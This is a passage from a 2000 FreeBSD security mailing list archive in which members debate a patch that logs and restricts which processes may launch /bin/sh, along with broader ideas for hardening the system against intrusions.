shellcode in the most recent exploits, they either > bind /bin/sh to a port via inetd or execute some program using /bin/sh. So? $ uname -a Linux vhost 2.2.10 #7 SMP Fri Nov 5 14:00:24 EST 1999 i686 unknown $ ls -l /bin/sh lrwxrwxrwx 1 root root 4 Jul 1 1999 /bin/sh -> bash /bin/sh exists on Linux too. (Bash is a good enough clone that a bit of shell code will never know the difference.) $ uname -a AIX athena 3 4 00002F0E4C00 $ ls -l /bin/sh -r-xr-xr-x 4 bin bin 240326 Dec 02 17:27 /bin/sh Hey look. It's on AIX too. (I'll bet it exists on just about everything that calls itself Unix...) BTW, /bin/sh is required to exist by a host of standards. (IEEE Std1003.2 (``POSIX.2'') comes to mind) Can you please either explain _WHY_ this is a problem or drop the thread? Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville k.stevenson@louisville.edu PGP key fingerprint = 4B 29 A8 95 A8 82 EA A2 29 CE 68 DE FC EE B6 A0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 12:23: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from pluto.psn.net (pluto.psn.net [207.211.58.12]) by hub.freebsd.org (Postfix) with ESMTP id 7D4F914E37 for ; Mon, 17 Jan 2000 12:22:59 -0800 (PST) (envelope-from will@shadow.blackdawn.com) Received: from 21-048.008.popsite.net ([209.69.197.48] helo=shadow.blackdawn.com) by pluto.psn.net with esmtp (PSN Internet Service 3.12 #1) id 12AIfY-0003Br-00; Mon, 17 Jan 2000 13:22:34 -0700 Received: by shadow.blackdawn.com (Postfix, from userid 1000) id 77A111976; Mon, 17 Jan 2000 15:22:18 -0500 (EST) Date: Mon, 17 Jan 2000 15:22:18 -0500 From: Will Andrews To: scarr Cc: Alexander Langer , Jonathan Fortin , FreeBSD Security Subject: Re: sh? Message-ID: <20000117152218.C34178@shadow.blackdawn.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from scarr@ineocom.com on Mon, Jan 17, 2000 at 02:39:53PM -0500 X-Operating-System: FreeBSD 3.4-STABLE i386 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 17, 2000 at 02:39:53PM -0500, scarr wrote: > > I think this is mostly because /bin/sh is known to always be there, no > matter what unix-like system you're using. I know when I'm writing a > shell script that needs to be ultimately portable I use /bin/sh (as > painful as it may be). If you're going to write a shell script in bash or > ksh you're gambling on the fact that they system in question has it > installed. > > Of course, there could be other factors. Does anyone know if sh is used > for these types of things for any other reason than portability? Performance. sh(1) is the smallest, and therefore quickest, of all well-known shells. There are smaller shells, but they are not well known, and most do not support nearly as much as sh(1). --Will To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 12:38:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from bsdie.rwsystems.net (bsdie.rwsystems.net [209.197.223.2]) by hub.freebsd.org (Postfix) with ESMTP id 66A3B14DFE for ; Mon, 17 Jan 2000 12:38:15 -0800 (PST) (envelope-from jwyatt@rwsystems.net) Received: from bsdie.rwsystems.net([209.197.223.2]) (999 bytes) by bsdie.rwsystems.net via sendmail with P:esmtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Mon, 17 Jan 2000 14:30:07 -0600 (CST) (Smail-3.2.0.106 1999-Mar-31 #1 built 1999-Aug-7) Date: Mon, 17 Jan 2000 14:29:57 -0600 (CST) From: James Wyatt To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 16 Jan 2000, Jonathan Fortin wrote: > q most ppl use zsh/bash/csh. If you are referring to the patch offered to log PID of the parent process posted here, and pointing-out that most users don't use 'sh': Most hacks use 'sh' to do their work because it is *very* simple, uniform, installed everywhere, and small/quick. 'sh' gets ignored by many admins as 'just more system stuff' and not scrutinized very frequently. - Jy@ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 12:48:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from sapphire.looksharp.net (mcdouga9.user.msu.edu [35.10.148.141]) by hub.freebsd.org (Postfix) with ESMTP id 9C2DD14E37 for ; Mon, 17 Jan 2000 12:48:41 -0800 (PST) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by sapphire.looksharp.net (8.9.3/8.9.3) with ESMTP id PAA72154; Mon, 17 Jan 2000 15:48:19 -0500 (EST) (envelope-from bsdx@looksharp.net) X-Authentication-Warning: sapphire.looksharp.net: bsdx owned process doing -bs Date: Mon, 17 Jan 2000 15:48:19 -0500 (EST) From: Adam To: Omachonu Ogali Cc: Will Andrews , freebsd-security@FreeBSD.ORG Subject: RE: Parent Logging Patch for sh(1) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I haven't looked at it but it sounds like something useful to me. On Sun, 16 Jan 2000, Omachonu Ogali wrote: > I thought it would benefit those who are security minded. Why shouldn't I > have posted it? > > Omachonu Ogali > Intranova Networking Group > > On Sun, 16 Jan 2000, Will Andrews wrote: > > > On 16-Jan-00 Omachonu Ogali wrote: > > > After applied, sh(1) will log the parent process ID and name that executed > > > it into syslog. Available from > > > http://tribune.intranova.net/archives/sh-log.patch > > > > Is there any (valid) reason why you posted this here? > > > > -- > > Will Andrews > > GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- > > ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ > > G++>+++ e->++++ h! r-->+++ y? > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 17:57:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from shell.futuresouth.com (shell.futuresouth.com [198.78.58.28]) by hub.freebsd.org (Postfix) with ESMTP id B3F4814A0D for ; Mon, 17 Jan 2000 17:57:07 -0800 (PST) (envelope-from fullermd@futuresouth.com) Received: (from fullermd@localhost) by shell.futuresouth.com (8.9.3/8.9.3) id TAA01421; Mon, 17 Jan 2000 19:56:43 -0600 (CST) Date: Mon, 17 Jan 2000 19:56:42 -0600 From: "Matthew D. Fuller" To: Nathan Dorfman Cc: cjclark@home.com, Nicholas Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. Message-ID: <20000117195642.B23821@futuresouth.com> References: <200001140145.UAA15101@cc942873-a.ewndsr1.nj.home.com> <20000114133222.A18079@rtfm.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <20000114133222.A18079@rtfm.net> X-OS: FreeBSD Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ Sorry, little bit late... ] On Fri, Jan 14, 2000 at 01:32:22PM -0500, a little birdie told me that Nathan Dorfman remarked > On Thu, Jan 13, 2000 at 08:45:20PM -0500, Crist J. Clark wrote: > > > > For anything that is going to call login(1), you can use > > /etc/login.access(5). That pretty much eliminates stuff like telnet, > > rlogin, and console logins. For SSH, look at the 'AllowUsers' and > > 'DenyUsers' keywords for the sshd_conf file on the sshd(8) > > manpage. And of course, if ftp(1) is an issue, there is /etc/ftpusers > > as described in ftpd(8). > > You can make sshd use login(1). Set UseLogin to yes in sshd_config. This > is (at least sounds like) a good idea just so that login.access(5) and > login.conf(5) have their effect. Except (at least login.access) they don't. Try it. Never worked for me. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Unix Systems Administrator | fullermd@futuresouth.com Specializing in FreeBSD | http://www.over-yonder.net/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 18: 7: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 0CC9514D2D for ; Mon, 17 Jan 2000 18:06:58 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 27669 invoked from network); 17 Jan 2000 21:09:06 -0000 Received: from hydrant.intranova.net (user69996@209.201.95.10) by blacklisted.intranova.net with SMTP; 17 Jan 2000 21:09:06 -0000 Date: Mon, 17 Jan 2000 21:04:07 -0500 (EST) From: Omachonu Ogali To: Adam Cc: Will Andrews , freebsd-security@FreeBSD.ORG Subject: RE: Parent Logging Patch for sh(1) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://tribune.intranova.net/archives/sh-log+access.patch adds uid and username logging along with a deny list (/etc/sh.deny). And in reference to Keith Stevenson's 'So?', if you can determine the point of entry in an intrusion you can backtrack to where it originated, the main reason I created that patch was to allow a system administrator to backtrack in the case of an intrusion. Omachonu Ogali Intranova Networking Group On Mon, 17 Jan 2000, Adam wrote: > I haven't looked at it but it sounds like something useful to me. > > On Sun, 16 Jan 2000, Omachonu Ogali wrote: > > > I thought it would benefit those who are security minded. Why shouldn't I > > have posted it? > > > > Omachonu Ogali > > Intranova Networking Group > > > > On Sun, 16 Jan 2000, Will Andrews wrote: > > > > > On 16-Jan-00 Omachonu Ogali wrote: > > > > After applied, sh(1) will log the parent process ID and name that executed > > > > it into syslog. Available from > > > > http://tribune.intranova.net/archives/sh-log.patch > > > > > > Is there any (valid) reason why you posted this here? > > > > > > -- > > > Will Andrews > > > GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- > > > ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ > > > G++>+++ e->++++ h! r-->+++ y? > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 18:19:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id 94CC0150DC for ; Mon, 17 Jan 2000 18:19:47 -0800 (PST) (envelope-from jonf@revelex.com) Received: from localhost (jonf@localhost) by revelex.com (8.9.3/8.9.3) with ESMTP id VAA13244 for ; Mon, 17 Jan 2000 21:15:39 -0500 (EST) Date: Mon, 17 Jan 2000 21:15:38 -0500 (EST) From: Jonathan Fortin To: freebsd-security@freebsd.org Subject: Sh(1). Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, we know in the previous emails that sh was the main bourne shell on most of the unix flavors, but what good would it do to log the ppid or deny uids, you never know which account can get compromised, and if someone does compromises root, your log will be edited/removed . Better Preventing by removing suids "find / -perm -u+s", and remove the ones you won't need. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 19:24: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id C53E114FDF for ; Mon, 17 Jan 2000 19:24:01 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id D2F031BEC; Mon, 17 Jan 2000 22:19:28 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14467.56256.337327.619067@anarcat.dyndns.org> Date: Mon, 17 Jan 2000 22:19:28 -0500 (EST) To: Omachonu Ogali Cc: Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? References: <20000117165325.C5975@cichlids.cichlids.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Reply-To: beaupran@iro.umontreal.ca Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org These exploits can generally be trivially modified to use another shell. And anyways, once sh is launched and it's not supposed to (read: root shell), it's generally too late.. :)) The AnarCat --- Big Brother told Omachonu Ogali to write, at 14:28 of January 17: > On all systems. > > Take a look at some shellcode in the most recent exploits, they either > bind /bin/sh to a port via inetd or execute some program using /bin/sh. > > Omachonu Ogali > Intranova Networking Group > > On Mon, 17 Jan 2000, Alexander Langer wrote: > > > Thus spake Omachonu Ogali (oogali@intranova.net): > > > > > Most of the exploits out there use /bin/sh to launch attacks. > > > > On FreeBSD? > > > > Alex > > > > -- > > I doubt, therefore I might be. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 19:59:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 3AB8C14BB7 for ; Mon, 17 Jan 2000 19:59:56 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 21062 invoked from network); 17 Jan 2000 23:02:04 -0000 Received: from hydrant.intranova.net (user43311@209.201.95.10) by blacklisted.intranova.net with SMTP; 17 Jan 2000 23:02:04 -0000 Date: Mon, 17 Jan 2000 22:57:04 -0500 (EST) From: Omachonu Ogali To: Spidey Cc: Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: <14467.56256.337327.619067@anarcat.dyndns.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That was the purpose for the denying code, to try and stop the attack before it goes through. For instance, 'named' shouldn't be executing sh, so I would add 'named' to the file, see where I'm going? Omachonu Ogali Intranova Networking Group On Mon, 17 Jan 2000, Spidey wrote: > These exploits can generally be trivially modified to use another > shell. > > And anyways, once sh is launched and it's not supposed to (read: root > shell), it's generally too late.. :)) > > The AnarCat > > --- Big Brother told Omachonu Ogali to write, at 14:28 of January 17: > > On all systems. > > > > Take a look at some shellcode in the most recent exploits, they either > > bind /bin/sh to a port via inetd or execute some program using /bin/sh. > > > > Omachonu Ogali > > Intranova Networking Group > > > > On Mon, 17 Jan 2000, Alexander Langer wrote: > > > > > Thus spake Omachonu Ogali (oogali@intranova.net): > > > > > > > Most of the exploits out there use /bin/sh to launch attacks. > > > > > > On FreeBSD? > > > > > > Alex > > > > > > -- > > > I doubt, therefore I might be. > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > -- > Si l'image donne l'illusion de savoir > C'est que l'adage pretend que pour croire, > L'important ne serait que de voir > > Lofofora > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 20:19:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from vasquez.zip.com.au (vasquez.zip.com.au [203.12.97.41]) by hub.freebsd.org (Postfix) with ESMTP id B7B5014F64 for ; Mon, 17 Jan 2000 20:18:57 -0800 (PST) (envelope-from ncb@attrition.org) Received: from zipperii.zip.com.au (ncb@zipperii.zip.com.au [203.12.97.87]) by vasquez.zip.com.au (8.9.2/8.9.1) with ESMTP id PAA13589; Tue, 18 Jan 2000 15:17:19 +1100 (EST) Date: Tue, 18 Jan 2000 15:17:18 +1100 (EST) From: Nicholas Brawn X-Sender: ncb@zipperii.zip.com.au To: Omachonu Ogali Cc: Spidey , Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 17 Jan 2000, Omachonu Ogali wrote: > That was the purpose for the denying code, to try and stop the attack > before it goes through. For instance, 'named' shouldn't be executing sh, > so I would add 'named' to the file, see where I'm going? > > Omachonu Ogali > Intranova Networking Group > I thought of doing something similar to this in the kernel last year. On execve(), check the calling process name/etc and compare to a database for acceptable calling processes. Ie, disallow the calling of execve() from certain network services. The difficulty would be in making a suitable interface for such a modification. I also think there must be more elegant ways of accomplishing the same thing, such as what Robert Watson has been discussing in his recent posts. Cheers, Nick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 20:20:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from erouter0.it-datacntr.louisville.edu (erouter0.it-datacntr.louisville.edu [136.165.1.36]) by hub.freebsd.org (Postfix) with ESMTP id 543A215150 for ; Mon, 17 Jan 2000 20:20:28 -0800 (PST) (envelope-from k.stevenson@louisville.edu) Received: from osaka.louisville.edu (osaka.louisville.edu [136.165.1.114]) by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP id 5526C24D67; Mon, 17 Jan 2000 23:20:24 -0500 (EST) Received: by osaka.louisville.edu (Postfix, from userid 15) id B938F18605; Mon, 17 Jan 2000 23:20:22 -0500 (EST) Date: Mon, 17 Jan 2000 23:20:22 -0500 From: Keith Stevenson To: Omachonu Ogali Cc: freebsd-security@freebsd.org Subject: Re: Parent Logging Patch for sh(1) Message-ID: <20000117232022.A87011@osaka.louisville.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 17, 2000 at 09:04:07PM -0500, Omachonu Ogali wrote: > http://tribune.intranova.net/archives/sh-log+access.patch adds uid and > username logging along with a deny list (/etc/sh.deny). > > And in reference to Keith Stevenson's 'So?', if you can determine the > point of entry in an intrusion you can backtrack to where it originated, > the main reason I created that patch was to allow a system administrator > to backtrack in the case of an intrusion. I think that we may have miscommunicated. I have no issues with your ppid logging patch. I thought that you were complaining that we should not have a /bin/sh. In general, I consider more logging to be better. However in the case of a root compromise all local logs are useless since they may have been altered by the attacker. (After all, they can't _all_ be script kidz.) Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville k.stevenson@louisville.edu PGP key fingerprint = 4B 29 A8 95 A8 82 EA A2 29 CE 68 DE FC EE B6 A0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 21:24:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id 446611514A for ; Mon, 17 Jan 2000 21:24:45 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (gj-05-213.bta.net.cn [202.106.5.213]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id NAA02939 for ; Tue, 18 Jan 2000 13:24:38 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.9.3) id NAA03003; Tue, 18 Jan 2000 13:25:17 +0800 (+0800) (envelope-from robinson) Date: Tue, 18 Jan 2000 13:25:17 +0800 (+0800) From: Michael Robinson Message-Id: <200001180525.NAA03003@netrinsics.com> To: k.stevenson@louisville.edu, oogali@intranova.net Subject: Re: Parent Logging Patch for sh(1) Cc: freebsd-security@freebsd.org In-Reply-To: <20000117232022.A87011@osaka.louisville.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Keith Stevenson writes: >However >in the case of a root compromise all local logs are useless since they may >have been altered by the attacker. (After all, they can't _all_ be script >kidz.) That would be the case for logs that don't have the sappnd flag set. You *do* set the sappnd flag on your security-related logfiles, don't you? -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 22:12: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 7884D15227 for ; Mon, 17 Jan 2000 22:11:51 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12ARq0-0001bx-00; Tue, 18 Jan 2000 08:09:56 +0200 From: Sheldon Hearn To: Omachonu Ogali Cc: Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Mon, 17 Jan 2000 21:04:07 EST." Date: Tue, 18 Jan 2000 08:09:56 +0200 Message-ID: <6196.948175796@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 17 Jan 2000 21:04:07 EST, Omachonu Ogali wrote: > http://tribune.intranova.net/archives/sh-log+access.patch adds uid and > username logging along with a deny list (/etc/sh.deny). When you first posted, you neglected to mention that your patch included a deny list (/etc/sh.deny). This puts a different spin on things. :-) While it sounds attractive on the surface, think how easy it is to work around -- the exploit code must simply change its progname to something which will never be in /etc/sh.deny (e.g. login). So your patch scores something useful for a week, whereafter the script kiddies catch up and we're back to square one. :-) No, if this is to be done, it's with per-process credentials. Someone is already working on such a system for FreeBSD. Since you seem interested in helping out with the process of hardening FreeBSD, I urge you to contact Robert Watson, who's spearheading the current hardening project. You can reach him at Robert Watson . Thanks for your interest in a more secure FreeBSD. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 22:47: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from bsdie.rwsystems.net (bsdie.rwsystems.net [209.197.223.2]) by hub.freebsd.org (Postfix) with ESMTP id A804115093 for ; Mon, 17 Jan 2000 22:47:00 -0800 (PST) (envelope-from jwyatt@rwsystems.net) Received: from bsdie.rwsystems.net([209.197.223.2]) (1219 bytes) by bsdie.rwsystems.net via sendmail with P:esmtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Tue, 18 Jan 2000 00:46:06 -0600 (CST) (Smail-3.2.0.106 1999-Mar-31 #1 built 1999-Aug-7) Date: Tue, 18 Jan 2000 00:46:05 -0600 (CST) From: James Wyatt To: Keith Stevenson Cc: Omachonu Ogali , freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: <20000117144129.B85360@osaka.louisville.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 17 Jan 2000, Keith Stevenson wrote: > On Mon, Jan 17, 2000 at 02:28:07PM -0500, Omachonu Ogali wrote: > > On all systems. > > > > Take a look at some shellcode in the most recent exploits, they either > > bind /bin/sh to a port via inetd or execute some program using /bin/sh. > > So? [ ... ] > $ uname -a > AIX athena 3 4 00002F0E4C00 > > $ ls -l /bin/sh > -r-xr-xr-x 4 bin bin 240326 Dec 02 17:27 /bin/sh Of course, on AIX it is really /usr/bin/ksh (as is /bin/{tsh,psh}) and you can use some ksh grammar in it. It ignores some ksh stuff, though - Jy@ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 3:47:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from alfik.ms.mff.cuni.cz (alfik.ms.mff.cuni.cz [195.113.19.71]) by hub.freebsd.org (Postfix) with ESMTP id E4B4614DCA for ; Tue, 18 Jan 2000 03:47:46 -0800 (PST) (envelope-from mencl@nenya.ms.mff.cuni.cz) Received: from nenya.ms.mff.cuni.cz by alfik.ms.mff.cuni.cz; (8.8.8/v1.00/20000107.1208) id MAA02957; Tue, 18 Jan 2000 12:47:44 +0100 (MET) Received: from localhost (mencl@localhost) by nenya.ms.mff.cuni.cz (8.9.3+Sun/8.9.1) with ESMTP id MAA06660; Tue, 18 Jan 2000 12:47:44 +0100 (MET) Date: Tue, 18 Jan 2000 12:47:44 +0100 (MET) From: "Vladimir Mencl, MK, susSED" To: Nicholas Brawn Cc: freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 18 Jan 2000, Nicholas Brawn wrote: > On Mon, 17 Jan 2000, Omachonu Ogali wrote: > > > That was the purpose for the denying code, to try and stop the attack > > before it goes through. For instance, 'named' shouldn't be executing sh, > > so I would add 'named' to the file, see where I'm going? > > > > Omachonu Ogali > > Intranova Networking Group > > > > I thought of doing something similar to this in the kernel last year. On > execve(), check the calling process name/etc and compare to a database for > acceptable calling processes. Ie, disallow the calling of execve() from > certain network services. A lot of work on this issue has been done in the "Generic Software Wrappers". An info about it has been posted here in september, I'll quote the head of the mail: ====================================================================== From: Steve Kiernan To: freebsd-security@FreeBSD.ORG Date: Thu, 2 Sep 1999 16:59:21 -0400 (EDT) Subject: Generic Software Wrappers 1.2.1 now available... Some time ago there was some discussion of adding security policies to the FreeBSD kernel. ("Using capabilties aaginst shell code" August 1998) In that thread, Robert Watson had referered to the Generic Software Wrappers Toolkit which we at NAI Labs (formerly TIS Labs) were working on. We now have a release available for use. The current source release contains support for FreeBSD 2.2.x on Intel x86 and Solaris 2.6 on UltraSPARC, and preliminary support for FreeBSD 3.x on Intel x86 (not all syscalls are characterized and the code is not SMP-safe) and Windows NT on Intel x86 (the implementation is in user-space and not complete). The following is an excerpt from the readme file (you can grab a copy of the Toolkit from ftp://ftp.tislabs.com/pub/wrappers): ... ====================================================================== > > The difficulty would be in making a suitable interface for such a > modification. I also think there must be more elegant ways of > accomplishing the same thing, such as what Robert Watson has been > discussing in his recent posts. The interface used in the GSW is really nice. Vlada Mencl > > Cheers, > Nick > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 4: 5:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id DE9CB14C9F for ; Tue, 18 Jan 2000 04:05:18 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 52174 invoked from network); 18 Jan 2000 07:07:27 -0000 Received: from hydrant.intranova.net (user2955@209.201.95.10) by blacklisted.intranova.net with SMTP; 18 Jan 2000 07:07:27 -0000 Date: Tue, 18 Jan 2000 07:02:26 -0500 (EST) From: Omachonu Ogali To: Sheldon Hearn Cc: Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-Reply-To: <6196.948175796@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The first patch (sh-log.patch) didn't offer denying features, I then wrote a second one that did. My main focus was on BIND, I haven't seen someone yet who has smashed the stack and changed argv[0], and secondly, it reads the process name from the /proc filesystem, so if you do change the program name on the stack, the original still exists... Omachonu Ogali Intranova Networking Group On Tue, 18 Jan 2000, Sheldon Hearn wrote: > > > On Mon, 17 Jan 2000 21:04:07 EST, Omachonu Ogali wrote: > > > http://tribune.intranova.net/archives/sh-log+access.patch adds uid and > > username logging along with a deny list (/etc/sh.deny). > > When you first posted, you neglected to mention that your patch included > a deny list (/etc/sh.deny). This puts a different spin on things. :-) > > While it sounds attractive on the surface, think how easy it is to work > around -- the exploit code must simply change its progname to something > which will never be in /etc/sh.deny (e.g. login). > > So your patch scores something useful for a week, whereafter the script > kiddies catch up and we're back to square one. :-) > > No, if this is to be done, it's with per-process credentials. Someone > is already working on such a system for FreeBSD. Since you seem > interested in helping out with the process of hardening FreeBSD, I urge > you to contact Robert Watson, who's spearheading the current hardening > project. > > You can reach him at Robert Watson . > > Thanks for your interest in a more secure FreeBSD. :-) > > Ciao, > Sheldon. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 4:21: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 5B8F214EEE for ; Tue, 18 Jan 2000 04:20:53 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) 